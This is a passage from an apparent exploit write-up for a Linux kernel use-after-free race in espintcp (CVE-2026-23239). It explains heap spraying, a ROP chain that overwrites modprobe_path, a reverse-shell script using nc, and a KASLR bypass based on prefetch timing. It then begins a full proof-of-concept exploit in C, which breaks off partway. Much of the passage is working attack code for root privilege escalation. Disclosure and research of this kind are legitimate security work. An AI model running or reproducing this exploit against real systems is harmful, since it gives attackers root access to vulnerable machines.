<p>Since the UAF object, <code class="language-plaintext highlighter-rouge">ctx</code>, is allocated with <code class="language-plaintext highlighter-rouge">GFP_KERNEL</code>, a <code class="language-plaintext highlighter-rouge">struct user_key_payload</code>, which is also allocated with <code class="language-plaintext highlighter-rouge">GFP_KERNEL</code>, is used as the heap spray object. Because cross cache is not used here, the allocation flags need to match in this step.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">espintcp_init_sk</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">struct</span> <span class="n">espintcp_ctx</span> <span class="o">*</span><span class="n">ctx</span><span class="p">;</span>

        <span class="n">ctx</span> <span class="o">=</span> <span class="n">kzalloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="n">ctx</span><span class="p">),</span> <span class="n">GFP_KERNEL</span><span class="p">);</span>
        <span class="p">[...]</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">struct user_key_payload</code> has a header made up of <code class="language-plaintext highlighter-rouge">rcu</code> and <code class="language-plaintext highlighter-rouge">datalen</code>, so when placing the payload, the offset needs to be calculated with this header size in mind.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">user_key_payload</span> <span class="p">{</span>
        <span class="k">struct</span> <span class="n">rcu_head</span> <span class="n">rcu</span><span class="p">;</span>            <span class="cm">/* RCU destructor */</span>
        <span class="kt">unsigned</span> <span class="kt">short</span>  <span class="n">datalen</span><span class="p">;</span>        <span class="cm">/* length of this data */</span>
        <span class="kt">char</span>            <span class="n">data</span><span class="p">[]</span> <span class="n">__aligned</span><span class="p">(</span><span class="n">__alignof__</span><span class="p">(</span><span class="n">u64</span><span class="p">));</span> <span class="cm">/* actual data */</span>
<span class="p">};</span>
</code></pre></div></div>

<h2 id="construction-of-the-rop-payload">Construction of the ROP Payload</h2>

<p><code class="language-plaintext highlighter-rouge">ctx-&gt;work.func</code> and the ROP payload can be arranged along the following lines. Since the point where RIP control is obtained is in the kworker context, it is not possible to return directly to user space. For this reason, this exploit builds the payload by overwriting <code class="language-plaintext highlighter-rouge">modprobe_path[]</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ctx</span><span class="o">-&gt;</span><span class="n">work</span><span class="p">.</span><span class="n">func</span> <span class="o">=</span> <span class="n">push_rdi_pop_rsp_pop_rbx_pop_r12_pop_r13_pop_r14_ret</span><span class="p">;</span>

<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">payload</span><span class="p">[</span><span class="n">t</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">pop_rdi_pop_rsi_pop_rdx_pop_rcx_ret</span><span class="p">;</span>
<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">payload</span><span class="p">[</span><span class="n">t</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">modprobe_path</span><span class="p">;</span>
<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">payload</span><span class="p">[</span><span class="n">t</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">fake_modprobe</span><span class="p">;</span>
<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">payload</span><span class="p">[</span><span class="n">t</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">strlen</span><span class="p">(</span><span class="n">fake_modprobe</span><span class="p">);</span>
<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">payload</span><span class="p">[</span><span class="n">t</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">payload</span><span class="p">[</span><span class="n">t</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">_copy_from_user</span><span class="p">;</span>
<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">payload</span><span class="p">[</span><span class="n">t</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">pop_rbx_ret</span><span class="p">;</span>
<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">payload</span><span class="p">[</span><span class="n">t</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mi">30000</span><span class="p">;</span>
<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">payload</span><span class="p">[</span><span class="n">t</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">mdelay</span><span class="p">;</span>
</code></pre></div></div>

<p>At this point, execution must not return immediately after the preceding <code class="language-plaintext highlighter-rouge">copy_from_user()</code> call. It has to stay in place until a root shell is obtained. The reason is that, during the object reallocation phase, <code class="language-plaintext highlighter-rouge">ctx-&gt;work.prev</code> is overwritten, which makes <code class="language-plaintext highlighter-rouge">__list_del()</code> fail. As a result, a corrupted node remains in <code class="language-plaintext highlighter-rouge">pool-&gt;worklist</code>. If a <code class="language-plaintext highlighter-rouge">kworker</code> that uses this <code class="language-plaintext highlighter-rouge">pool</code> wakes up again in this state, it will dereference that corrupted node and the kernel will panic.</p>

<p>For the waiting period, <code class="language-plaintext highlighter-rouge">mdelay()</code> must be used instead of <code class="language-plaintext highlighter-rouge">msleep()</code>. <code class="language-plaintext highlighter-rouge">msleep()</code> calls <code class="language-plaintext highlighter-rouge">schedule()</code> internally and yields the CPU. If the current task is running in a worker context, this can cause a new <code class="language-plaintext highlighter-rouge">kworker</code> (for example, <code class="language-plaintext highlighter-rouge">kworker/0:1</code>, <code class="language-plaintext highlighter-rouge">kworker/0:2</code>, …) to be spawned on the same CPU and continue processing. In that case, <code class="language-plaintext highlighter-rouge">pool-&gt;worklist</code> will be accessed again, and the previously left corrupted node may be dereferenced, leading to a kernel panic.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">sched_submit_work</span><span class="p">(</span><span class="k">struct</span> <span class="n">task_struct</span> <span class="o">*</span><span class="n">tsk</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">static</span> <span class="n">DEFINE_WAIT_OVERRIDE_MAP</span><span class="p">(</span><span class="n">sched_map</span><span class="p">,</span> <span class="n">LD_WAIT_CONFIG</span><span class="p">);</span>
        <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">task_flags</span><span class="p">;</span>

        <span class="cm">/*
         * Establish LD_WAIT_CONFIG context to ensure none of the code called
         * will use a blocking primitive -- which would lead to recursion.
         */</span>
        <span class="n">lock_map_acquire_try</span><span class="p">(</span><span class="o">&amp;</span><span class="n">sched_map</span><span class="p">);</span>

        <span class="n">task_flags</span> <span class="o">=</span> <span class="n">tsk</span><span class="o">-&gt;</span><span class="n">flags</span><span class="p">;</span>
        <span class="cm">/*
         * If a worker goes to sleep, notify and ask workqueue whether it
         * wants to wake up a task to maintain concurrency.
         */</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">task_flags</span> <span class="o">&amp;</span> <span class="n">PF_WQ_WORKER</span><span class="p">)</span>
                <span class="n">wq_worker_sleeping</span><span class="p">(</span><span class="n">tsk</span><span class="p">);</span>
        <span class="p">[...]</span>
<span class="p">}</span>
</code></pre></div></div>

<p>In addition, <code class="language-plaintext highlighter-rouge">mdelay</code> is defined as a macro, so it cannot be called directly like a normal function, and <code class="language-plaintext highlighter-rouge">udelay</code> only allows a limited delay to be specified as an argument. To introduce a sufficiently long delay, the assembly sequence generated by code that calls <code class="language-plaintext highlighter-rouge">mdelay()</code> has to be reused instead.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define mdelay(n) (\
        (__builtin_constant_p(n) &amp;&amp; (n)&lt;=MAX_UDELAY_MS) ? udelay((n)*1000) : \
        ({unsigned long __ms=(n); while (__ms--) udelay(1000);}))
</span>
<span class="mh">0xffffffff81439fe7</span> <span class="o">&lt;</span><span class="n">suspend_test</span><span class="o">+</span><span class="mi">39</span><span class="o">&gt;:</span>	<span class="n">mov</span>    <span class="n">edi</span><span class="p">,</span><span class="mh">0x418958</span>
<span class="mh">0xffffffff81439fec</span> <span class="o">&lt;</span><span class="n">suspend_test</span><span class="o">+</span><span class="mi">44</span><span class="o">&gt;:</span>	<span class="n">call</span>   <span class="mh">0xffffffff828d9ec0</span> <span class="o">&lt;</span><span class="n">__const_udelay</span><span class="o">&gt;</span>
<span class="mh">0xffffffff81439ff1</span> <span class="o">&lt;</span><span class="n">suspend_test</span><span class="o">+</span><span class="mi">49</span><span class="o">&gt;:</span>	<span class="n">sub</span>    <span class="n">rbx</span><span class="p">,</span><span class="mh">0x1</span>
<span class="mh">0xffffffff81439ff5</span> <span class="o">&lt;</span><span class="n">suspend_test</span><span class="o">+</span><span class="mi">53</span><span class="o">&gt;:</span>	<span class="n">jne</span>    <span class="mh">0xffffffff81439fe7</span> <span class="o">&lt;</span><span class="n">suspend_test</span><span class="o">+</span><span class="mi">39</span><span class="o">&gt;</span>
<span class="mh">0xffffffff81439ff7</span> <span class="o">&lt;</span><span class="n">suspend_test</span><span class="o">+</span><span class="mi">55</span><span class="o">&gt;:</span>	<span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x1</span>
<span class="mh">0xffffffff81439ffc</span> <span class="o">&lt;</span><span class="n">suspend_test</span><span class="o">+</span><span class="mi">60</span><span class="o">&gt;:</span>	<span class="n">pop</span>    <span class="n">rbx</span>
<span class="mh">0xffffffff81439ffd</span> <span class="o">&lt;</span><span class="n">suspend_test</span><span class="o">+</span><span class="mi">61</span><span class="o">&gt;:</span>	<span class="n">ret</span>
</code></pre></div></div>

<p>In this exploit, the script written to <code class="language-plaintext highlighter-rouge">modprobe_path</code> is implemented so that it launches a reverse shell.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define MODPROBE_SCRIPT "#!/bin/sh\nnc 127.0.0.1 4444 -e /bin/sh\n"
</span>
<span class="kt">char</span> <span class="n">fake_modprobe</span><span class="p">[</span><span class="mi">40</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="kt">int</span> <span class="n">modprobe_script_fd</span> <span class="o">=</span> <span class="n">memfd_create</span><span class="p">(</span><span class="s">""</span><span class="p">,</span> <span class="n">MFD_CLOEXEC</span><span class="p">);</span>
<span class="n">pid_t</span> <span class="n">pid</span> <span class="o">=</span> <span class="n">getpid</span><span class="p">();</span>

<span class="n">dprintf</span><span class="p">(</span><span class="n">modprobe_script_fd</span><span class="p">,</span> <span class="n">MODPROBE_SCRIPT</span><span class="p">);</span>
<span class="n">snprintf</span><span class="p">(</span><span class="n">fake_modprobe</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">fake_modprobe</span><span class="p">),</span> <span class="s">"/proc/%i/fd/%i"</span><span class="p">,</span> <span class="n">pid</span><span class="p">,</span> <span class="n">modprobe_script_fd</span><span class="p">);</span>
</code></pre></div></div>

<p>While the kworker is busy-waiting in <code class="language-plaintext highlighter-rouge">mdelay()</code>, triggering <code class="language-plaintext highlighter-rouge">request_module()</code> from another CPU will result in a root privileged reverse shell being spawned.</p>

<h2 id="full-exploit-chain">Full Exploit Chain</h2>

<p>The full exploit code is available here:</p>
<details>
  <summary>Exploit Code</summary>

  <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
 * PoC for: Out-of-Cancel Race in espintcp (CVE-2026-23239)
 *
 * Affected:
 *   - Linux kernel &lt; v7.0-rc2
 *   - x86_64, tested with CONFIG_XFRM_ESPINTCP=y, CONFIG_PREEMPT=n
 *
 * Usage:
 *   $ gcc -o exploit exploit.c -pthread
 *   $ ./exploit &amp;
 *   $ nc -lvp 4444
 *
 * Author: Hyunwoo Kim (V4bel)
 */</span>

<span class="cp">#define _GNU_SOURCE
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;errno.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;arpa/inet.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;netinet/tcp.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/socket.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/types.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;signal.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/types.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/wait.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/timerfd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/epoll.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/mman.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/prctl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/prctl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sched.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/syscall.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/xattr.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;pthread.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/keyctl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/sendfile.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/if_alg.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/resource.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;limits.h&gt;</span><span class="cp">
</span>
<span class="cp">#define FAIL_IF(x) if ((x)) { \
        perror(#x); \
        return -1; \
}
</span>
<span class="cp">#define STACK_SIZE 0x8000
#define MAIN_CPU 0
#define HELPER_CPU 1
#define TRIG_ERROR 0
#define TRIG_RETRY 1
</span>
<span class="cp">#define KEY_SPRAY_COUNT 20
#define IKE_COUNT 30
#define RCV_QUEUE_COUNT 1000000
#define SENDMSG_COUNT 100000
#define GROOMING_COUNT 500
#define DELAY_STAGE_1 16080
#define DELAY_STAGE_2 17000
</span>
<span class="k">struct</span> <span class="n">list_head</span> <span class="p">{</span>
	<span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">next</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">prev</span><span class="p">;</span>
<span class="p">};</span>

<span class="k">struct</span> <span class="n">work_struct</span> <span class="p">{</span>
	<span class="kt">void</span> <span class="o">*</span><span class="n">data</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">list_head</span> <span class="n">entry</span><span class="p">;</span>
	<span class="kt">void</span> <span class="o">*</span><span class="n">func</span><span class="p">;</span>
<span class="p">};</span>

<span class="k">struct</span> <span class="n">espintcp_ctx</span> <span class="p">{</span>
	<span class="kt">char</span> <span class="n">dummy_1</span><span class="p">[</span><span class="mi">1056</span> <span class="o">-</span> <span class="mi">24</span><span class="p">];</span>
	<span class="k">struct</span> <span class="n">work_struct</span> <span class="n">work</span><span class="p">;</span>
	<span class="kt">void</span> <span class="o">*</span><span class="n">payload</span><span class="p">[</span><span class="mi">10</span><span class="p">];</span>
<span class="p">};</span>

<span class="kt">char</span> <span class="n">tfd_buf</span><span class="p">[</span><span class="mh">0x1000</span><span class="p">];</span>
<span class="kt">int</span> <span class="n">g_tfd</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">epoll_fds</span><span class="p">[</span><span class="mh">0x2c0</span><span class="p">];</span>
<span class="kt">int</span> <span class="n">epoll_timefds</span><span class="p">[</span><span class="mh">0x300</span><span class="p">];</span>
<span class="kt">int</span> <span class="n">fds</span><span class="p">[</span><span class="mi">500</span><span class="p">];</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">trigger_stack</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="k">volatile</span> <span class="kt">int</span> <span class="n">status_trig</span> <span class="o">=</span> <span class="n">TRIG_ERROR</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">espintcp_ctx</span> <span class="o">*</span><span class="n">ctx</span><span class="p">;</span>
<span class="n">pthread_attr_t</span> <span class="n">attr</span><span class="p">;</span>
<span class="n">cpu_set_t</span> <span class="n">cpus</span><span class="p">;</span>

<span class="kt">uint64_t</span> <span class="n">kbase</span> <span class="o">=</span> <span class="mh">0xffffffff81000000</span><span class="p">;</span>

<span class="kt">uint64_t</span> <span class="nf">find_min</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="n">arr</span><span class="p">[],</span> <span class="kt">int</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">size</span> <span class="o">&lt;=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"Array size must be greater than 0.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
		<span class="k">return</span> <span class="n">INT_MAX</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="kt">uint64_t</span> <span class="n">min</span> <span class="o">=</span> <span class="n">arr</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
	<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">size</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">arr</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">&lt;</span> <span class="n">min</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">min</span> <span class="o">=</span> <span class="n">arr</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
		<span class="p">}</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="n">min</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// KASLR bypass</span>
<span class="c1">// This code is adapted from https://github.com/IAIK/prefetch/blob/master/cacheutils.h</span>
<span class="kr">inline</span> <span class="nf">__attribute__</span><span class="p">((</span><span class="n">always_inline</span><span class="p">))</span> <span class="kt">uint64_t</span> <span class="n">rdtsc_begin</span><span class="p">()</span> <span class="p">{</span>
	<span class="kt">uint64_t</span> <span class="n">a</span><span class="p">,</span> <span class="n">d</span><span class="p">;</span>
	<span class="n">asm</span> <span class="k">volatile</span> <span class="p">(</span><span class="s">"mfence</span><span class="se">\n\t</span><span class="s">"</span>
			<span class="s">"RDTSCP</span><span class="se">\n\t</span><span class="s">"</span>
			<span class="s">"mov %%rdx, %0</span><span class="se">\n\t</span><span class="s">"</span>
			<span class="s">"mov %%rax, %1</span><span class="se">\n\t</span><span class="s">"</span>
			<span class="s">"xor %%rax, %%rax</span><span class="se">\n\t</span><span class="s">"</span>
			<span class="s">"lfence</span><span class="se">\n\t</span><span class="s">"</span>
			<span class="o">:</span> <span class="s">"=r"</span> <span class="p">(</span><span class="n">d</span><span class="p">),</span> <span class="s">"=r"</span> <span class="p">(</span><span class="n">a</span><span class="p">)</span>
			<span class="o">:</span>
			<span class="o">:</span> <span class="s">"%rax"</span><span class="p">,</span> <span class="s">"%rbx"</span><span class="p">,</span> <span class="s">"%rcx"</span><span class="p">,</span> <span class="s">"%rdx"</span><span class="p">);</span>
	<span class="n">a</span> <span class="o">=</span> <span class="p">(</span><span class="n">d</span><span class="o">&lt;&lt;</span><span class="mi">32</span><span class="p">)</span> <span class="o">|</span> <span class="n">a</span><span class="p">;</span>
	<span class="k">return</span> <span class="n">a</span><span class="p">;</span>
<span class="p">}</span>

<span class="kr">inline</span> <span class="nf">__attribute__</span><span class="p">((</span><span class="n">always_inline</span><span class="p">))</span> <span class="kt">uint64_t</span> <span class="n">rdtsc_end</span><span class="p">()</span> <span class="p">{</span>
	<span class="kt">uint64_t</span> <span class="n">a</span><span class="p">,</span> <span class="n">d</span><span class="p">;</span>
	<span class="n">asm</span> <span class="k">volatile</span><span class="p">(</span>
			<span class="s">"xor %%rax, %%rax</span><span class="se">\n\t</span><span class="s">"</span>
			<span class="s">"lfence</span><span class="se">\n\t</span><span class="s">"</span>
			<span class="s">"RDTSCP</span><span class="se">\n\t</span><span class="s">"</span>
			<span class="s">"mov %%rdx, %0</span><span class="se">\n\t</span><span class="s">"</span>
			<span class="s">"mov %%rax, %1</span><span class="se">\n\t</span><span class="s">"</span>
			<span class="s">"mfence</span><span class="se">\n\t</span><span class="s">"</span>
			<span class="o">:</span> <span class="s">"=r"</span> <span class="p">(</span><span class="n">d</span><span class="p">),</span> <span class="s">"=r"</span> <span class="p">(</span><span class="n">a</span><span class="p">)</span>
			<span class="o">:</span>
			<span class="o">:</span> <span class="s">"%rax"</span><span class="p">,</span> <span class="s">"%rbx"</span><span class="p">,</span> <span class="s">"%rcx"</span><span class="p">,</span> <span class="s">"%rdx"</span><span class="p">);</span>
	<span class="n">a</span> <span class="o">=</span> <span class="p">(</span><span class="n">d</span><span class="o">&lt;&lt;</span><span class="mi">32</span><span class="p">)</span> <span class="o">|</span> <span class="n">a</span><span class="p">;</span>
	<span class="k">return</span> <span class="n">a</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="nf">prefetch</span><span class="p">(</span><span class="kt">void</span><span class="o">*</span> <span class="n">p</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">asm</span> <span class="k">volatile</span> <span class="p">(</span>
			<span class="s">"prefetchnta (%0)</span><span class="se">\n</span><span class="s">"</span>
			<span class="s">"prefetcht2 (%0)</span><span class="se">\n</span><span class="s">"</span>
			<span class="o">:</span> <span class="o">:</span> <span class="s">"r"</span> <span class="p">(</span><span class="n">p</span><span class="p">));</span>
<span class="p">}</span>

<span class="kt">size_t</span> <span class="nf">flushandreload</span><span class="p">(</span><span class="kt">void</span><span class="o">*</span> <span class="n">addr</span><span class="p">)</span>
<span class="p">{</span>
	<span class="kt">size_t</span> <span class="n">time</span> <span class="o">=</span> <span class="n">rdtsc_begin</span><span class="p">();</span>
	<span class="n">prefetch</span><span class="p">(</span><span class="n">addr</span><span class="p">);</span>
	<span class="kt">size_t</span> <span class="n">delta</span> <span class="o">=</span> <span class="n">rdtsc_end</span><span class="p">()</span> <span class="o">-</span> <span class="n">time</span><span class="p">;</span>
	<span class="k">return</span> <span class="n">delta</span><span class="p">;</span>
<span class="p">}</span>

<span class="cp">#define PREFETCH_ITER 25
#define KASLR_BYPASS_INTEL 1
#define ARRAY_LEN(x) (sizeof(x) / sizeof(x[0]))
</span><span class="kt">int</span> <span class="nf">bypass_kaslr</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="n">base</span><span class="p">)</span> <span class="p">{</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">base</span><span class="p">)</span> <span class="p">{</span>
<span class="cp">#ifdef KASLR_BYPASS_INTEL
#define OFFSET 0
#define START (0xffffffff81000000ull + OFFSET)
#define END   (0xffffffffD0000000ull + OFFSET)
#define STEP   0x0000000001000000ull
</span>		<span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
			<span class="kt">uint64_t</span> <span class="n">bases</span><span class="p">[</span><span class="mi">7</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
			<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">vote</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">vote</span> <span class="o">&lt;</span> <span class="n">ARRAY_LEN</span><span class="p">(</span><span class="n">bases</span><span class="p">);</span> <span class="n">vote</span> <span class="o">++</span><span class="p">)</span> <span class="p">{</span>
				<span class="kt">size_t</span> <span class="n">times</span><span class="p">[(</span><span class="n">END</span> <span class="o">-</span> <span class="n">START</span><span class="p">)</span> <span class="o">/</span> <span class="n">STEP</span><span class="p">]</span> <span class="o">=</span> <span class="p">{};</span>
				<span class="kt">uint64_t</span> <span class="n">addrs</span><span class="p">[(</span><span class="n">END</span> <span class="o">-</span> <span class="n">START</span><span class="p">)</span> <span class="o">/</span> <span class="n">STEP</span><span class="p">];</span>

				<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">ti</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">ti</span> <span class="o">&lt;</span> <span class="n">ARRAY_LEN</span><span class="p">(</span><span class="n">times</span><span class="p">);</span> <span class="n">ti</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
					<span class="n">times</span><span class="p">[</span><span class="n">ti</span><span class="p">]</span> <span class="o">=</span> <span class="o">~</span><span class="mi">0</span><span class="p">;</span>
					<span class="n">addrs</span><span class="p">[</span><span class="n">ti</span><span class="p">]</span> <span class="o">=</span> <span class="n">START</span> <span class="o">+</span> <span class="n">STEP</span> <span class="o">*</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)</span><span class="n">ti</span><span class="p">;</span>
				<span class="p">}</span>

				<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">16</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
					<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">ti</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">ti</span> <span class="o">&lt;</span> <span class="n">ARRAY_LEN</span><span class="p">(</span><span class="n">times</span><span class="p">);</span> <span class="n">ti</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
						<span class="kt">uint64_t</span> <span class="n">addr</span> <span class="o">=</span> <span class="n">addrs</span><span class="p">[</span><span class="n">ti</span><span class="p">];</span>
						<span class="kt">size_t</span> <span class="n">t</span> <span class="o">=</span> <span class="n">flushandreload</span><span class="p">((</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="n">addr</span><span class="p">);</span>
						<span class="k">if</span> <span class="p">(</span><span class="n">t</span> <span class="o">&lt;</span> <span class="n">times</span><span class="p">[</span><span class="n">ti</span><span class="p">])</span> <span class="p">{</span>
							<span class="n">times</span><span class="p">[</span><span class="n">ti</span><span class="p">]</span> <span class="o">=</span> <span class="n">t</span><span class="p">;</span>
						<span class="p">}</span>
					<span class="p">}</span>
				<span class="p">}</span>

				<span class="kt">size_t</span> <span class="n">minv</span> <span class="o">=</span> <span class="o">~</span><span class="mi">0</span><span class="p">;</span>
				<span class="kt">size_t</span> <span class="n">mini</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
				<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">ti</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">ti</span> <span class="o">&lt;</span> <span class="n">ARRAY_LEN</span><span class="p">(</span><span class="n">times</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span> <span class="n">ti</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
					<span class="k">if</span> <span class="p">(</span><span class="n">times</span><span class="p">[</span><span class="n">ti</span><span class="p">]</span> <span class="o">&lt;</span> <span class="n">minv</span><span class="p">)</span> <span class="p">{</span>
						<span class="n">mini</span> <span class="o">=</span> <span class="n">ti</span><span class="p">;</span>
						<span class="n">minv</span> <span class="o">=</span> <span class="n">times</span><span class="p">[</span><span class="n">ti</span><span class="p">];</span>
					<span class="p">}</span>
				<span class="p">}</span>

				<span class="k">if</span> <span class="p">(</span><span class="n">mini</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
					<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
				<span class="p">}</span>

				<span class="n">bases</span><span class="p">[</span><span class="n">vote</span><span class="p">]</span> <span class="o">=</span> <span class="n">addrs</span><span class="p">[</span><span class="n">mini</span><span class="p">];</span>
			<span class="p">}</span>

			<span class="kt">int</span> <span class="n">c</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
			<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">ARRAY_LEN</span><span class="p">(</span><span class="n">bases</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
				<span class="k">if</span> <span class="p">(</span><span class="n">c</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
					<span class="n">base</span> <span class="o">=</span> <span class="n">bases</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
				<span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">base</span> <span class="o">==</span> <span class="n">bases</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="p">{</span>
					<span class="n">c</span><span class="o">++</span><span class="p">;</span>
				<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
